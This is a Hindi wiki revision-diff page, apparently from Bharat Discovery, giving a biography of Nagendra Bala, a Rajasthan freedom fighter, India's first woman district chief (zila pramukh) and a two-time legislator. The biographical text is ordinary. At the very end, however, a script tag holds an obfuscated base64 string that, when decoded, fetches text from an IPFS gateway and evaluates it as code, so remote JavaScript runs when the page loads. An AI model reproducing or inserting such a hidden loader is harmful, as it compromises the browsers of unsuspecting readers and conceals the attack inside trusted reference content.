"नगेन्द्र बाला" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (श्रेणी:नया पन्ना; Adding category Category:चरित कोश (को हटा दिया गया हैं।))
पंक्ति 1: पंक्ति 1:
*नगेन्द्र बाला का जन्म [[13 सितम्बर]], [[1926]] को हुआ था।
+
'''नगेन्द्र बाला''' (जन्म- [[13 सितम्बर]], [[1926]]; मृत्यु- [[सितम्बर]], [[2010]], [[कोटा राजस्थान|कोटा]], [[राजस्थान]]) [[भारत]] की प्रसिद्ध महिला स्वतंत्रता सेनानी थीं। वे देश में ज़िला प्रमुख बनने वाली प्रथम महिला थीं। वे दो बार विधायक के पद पर भी रहीं। उन्होंने [[1941]] से [[1945]] तक [[किसान आन्दोलन]] में सक्रिय भूमिका निभाई। नगेन्द्र बाला [[राजस्थान]] के हाड़ौती क्षेत्र की पहली महिला थीं, जिन्होंने महिलाओं में राष्ट्रीय चेतना का प्रसार किया। ब्र सदैव महिला कल्याण कार्यों से जुड़ी रहीं।<ref>{{cite book | last =नागोरी | first = डॉ. एस.एल. | title =स्वतंत्रता सेनानी कोश (गाँधीयुगीन) | edition = 2011 | publisher = गीतांजलि प्रकाशन, जयपुर | location = भारतडिस्कवरी पुस्तकालय | language = [[हिन्दी]] | pages = पृष्ठ सं 185 | chapter = खण्ड 3 }}</ref>
*वे [[1941]] ई. से [[1945]] ई. तक किसान आन्दोलन में सक्रिय रहीं।
+
==जन्म==
*वे [[राजस्थान]] के हाड़ौती क्षेत्र की पहली महिला थीं, जिन्होंने महिलाओं में राष्ट्रीय चेतना का प्रसार किया।  
+
नगेन्द्र बाला का जन्म 13 सितम्बर, 1926 को हुआ था। वे प्रसिद्ध क्रान्तिकारी केसरी सिंह बारहठ की पौत्री और प्रताप सिंह बारहठ की भतीजी थीं। उनकी शुरू से ही जनसेवा, राजनीति और महिला उत्थान जैसे कार्यों में विशेष रूचि रही थी।<ref name="aa">{{cite web |url= http://indianwomanhasarrived.blogspot.in/2010/09/blog-post_08.html|title=देश की पहली महिला जिला प्रमुख "नगेन्द्र बाला"|accessmonthday=12 सितम्बर|accessyear= 2014|last= |first= |authorlink= |format= |publisher=नारी|language= हिन्दी}}</ref>
*वे महिला कल्याण कार्यों से जुड़ी रहीं।<ref>{{cite book | last =नागोरी | first = डॉ. एस.एल. | title =स्वतंत्रता सेनानी कोश (गाँधीयुगीन) | edition = 2011 | publisher = गीतांजलि प्रकाशन, जयपुर | location = भारतडिस्कवरी पुस्तकालय | language = [[हिन्दी]] | pages = पृष्ठ सं 185 | chapter = खण्ड 3 }}</ref>
+
====स्वाधीनता संग्राम में सहभागिता====
 
+
[[वर्ष]] [[1942]] के [[स्वाधीनता संग्राम]] में नगेन्द्र बाला ने बढ़-चढ़कर भाग लिया। [[महात्मा गाँधी|राष्ट्रपिता महात्मा गाँधी]] के निधन पर वे [[दिल्ली]] से अस्थि कलश लेकर कोटा आईं और [[चम्बल नदी]] में उनकी अस्थियां विसर्जित की।
{{प्रचार}}
+
==ज़िला प्रमुख तथा विधायक==
 +
पंचायती राज व्यवस्था लागू होने के बाद नगेन्द्र बाला वर्ष [[1960]] में [[कोटा]] की पहली ज़िला प्रमुख बनी थीं। वे देश में ज़िला प्रमुख बनने वाली प्रथम महिला थीं। दो वर्ष तक ज़िला प्रमुख रहने के बाद नगेन्द्र बाला [[1962]] से [[1967]] तक छबडा-शाहाबाद और [[1972]] से लेकर [[1977]] तक दीगोद से विधायक रहीं।<ref name="aa"/>
 +
====अन्य पदों पर कार्य====
 +
वह [[1982]] से [[1988]] तक 'समाज कल्याण बोर्ड' की अध्यक्ष रहने के साथ 'राज्य महिला आयोग' की सदस्य भी रहीं। [[विनोबा भावे]] के साथ पदयात्रा में शामिल नगेन्द्र बाला ने कोटा में 'करणी नगर विकास समिति' की स्थापना भी की तथा समिति के भवन के लिए अपने [[परिवार]] की जमीन उपलब्ध कराई।
 +
==निधन==
 +
नगेन्द्र बाला का निधन 84 [[वर्ष]] की आयु में [[सितम्बर]], [[2010]] में हुआ। [[कोटा]], [[राजस्थान]] के 'किशोरपुरा मुक्तिधाम' पर पूरे राजकीय सम्मान के साथ उनका [[अंत्येष्टि संस्कार]] किया गया।
 +
 
 
{{लेख प्रगति|आधार=आधार1|प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=आधार1|प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}
{{संदर्भ ग्रंथ}}
+
==बाहरी कड़ियाँ==
 +
*[http://www.pressnote.in/rajasthan-news_91915.html#.VBLyAaMdDcs स्वतंत्रता सेनानी श्रीमती नगेन्द्र बाला की राजकीय सम्मान से अंत्येष्टि]
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
[[Category:स्वतन्त्रता सेनानी]]
+
==संबंधित लेख==
[[Category:चरित कोश]]
+
{{स्वतन्त्रता सेनानी}}
 +
[[Category:स्वतन्त्रता सेनानी]][[Category:राजस्थान]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:इतिहास कोश]]
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

14:00, 12 सितम्बर 2014 का अवतरण

नगेन्द्र बाला (जन्म- 13 सितम्बर, 1926; मृत्यु- सितम्बर, 2010, कोटा, राजस्थान) भारत की प्रसिद्ध महिला स्वतंत्रता सेनानी थीं। वे देश में ज़िला प्रमुख बनने वाली प्रथम महिला थीं। वे दो बार विधायक के पद पर भी रहीं। उन्होंने 1941 से 1945 तक किसान आन्दोलन में सक्रिय भूमिका निभाई। नगेन्द्र बाला राजस्थान के हाड़ौती क्षेत्र की पहली महिला थीं, जिन्होंने महिलाओं में राष्ट्रीय चेतना का प्रसार किया। ब्र सदैव महिला कल्याण कार्यों से जुड़ी रहीं।[1]

जन्म

नगेन्द्र बाला का जन्म 13 सितम्बर, 1926 को हुआ था। वे प्रसिद्ध क्रान्तिकारी केसरी सिंह बारहठ की पौत्री और प्रताप सिंह बारहठ की भतीजी थीं। उनकी शुरू से ही जनसेवा, राजनीति और महिला उत्थान जैसे कार्यों में विशेष रूचि रही थी।[2]

स्वाधीनता संग्राम में सहभागिता

वर्ष 1942 के स्वाधीनता संग्राम में नगेन्द्र बाला ने बढ़-चढ़कर भाग लिया। राष्ट्रपिता महात्मा गाँधी के निधन पर वे दिल्ली से अस्थि कलश लेकर कोटा आईं और चम्बल नदी में उनकी अस्थियां विसर्जित की।

ज़िला प्रमुख तथा विधायक

पंचायती राज व्यवस्था लागू होने के बाद नगेन्द्र बाला वर्ष 1960 में कोटा की पहली ज़िला प्रमुख बनी थीं। वे देश में ज़िला प्रमुख बनने वाली प्रथम महिला थीं। दो वर्ष तक ज़िला प्रमुख रहने के बाद नगेन्द्र बाला 1962 से 1967 तक छबडा-शाहाबाद और 1972 से लेकर 1977 तक दीगोद से विधायक रहीं।[2]

अन्य पदों पर कार्य

वह 1982 से 1988 तक 'समाज कल्याण बोर्ड' की अध्यक्ष रहने के साथ 'राज्य महिला आयोग' की सदस्य भी रहीं। विनोबा भावे के साथ पदयात्रा में शामिल नगेन्द्र बाला ने कोटा में 'करणी नगर विकास समिति' की स्थापना भी की तथा समिति के भवन के लिए अपने परिवार की जमीन उपलब्ध कराई।

निधन

नगेन्द्र बाला का निधन 84 वर्ष की आयु में सितम्बर, 2010 में हुआ। कोटा, राजस्थान के 'किशोरपुरा मुक्तिधाम' पर पूरे राजकीय सम्मान के साथ उनका अंत्येष्टि संस्कार किया गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

बाहरी कड़ियाँ

टीका टिप्पणी और संदर्भ

  1. नागोरी, डॉ. एस.एल. “खण्ड 3”, स्वतंत्रता सेनानी कोश (गाँधीयुगीन), 2011 (हिन्दी), भारतडिस्कवरी पुस्तकालय: गीतांजलि प्रकाशन, जयपुर, पृष्ठ सं 185।
  2. 2.0 2.1 देश की पहली महिला जिला प्रमुख "नगेन्द्र बाला" (हिन्दी) नारी। अभिगमन तिथि: 12 सितम्बर, 2014।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>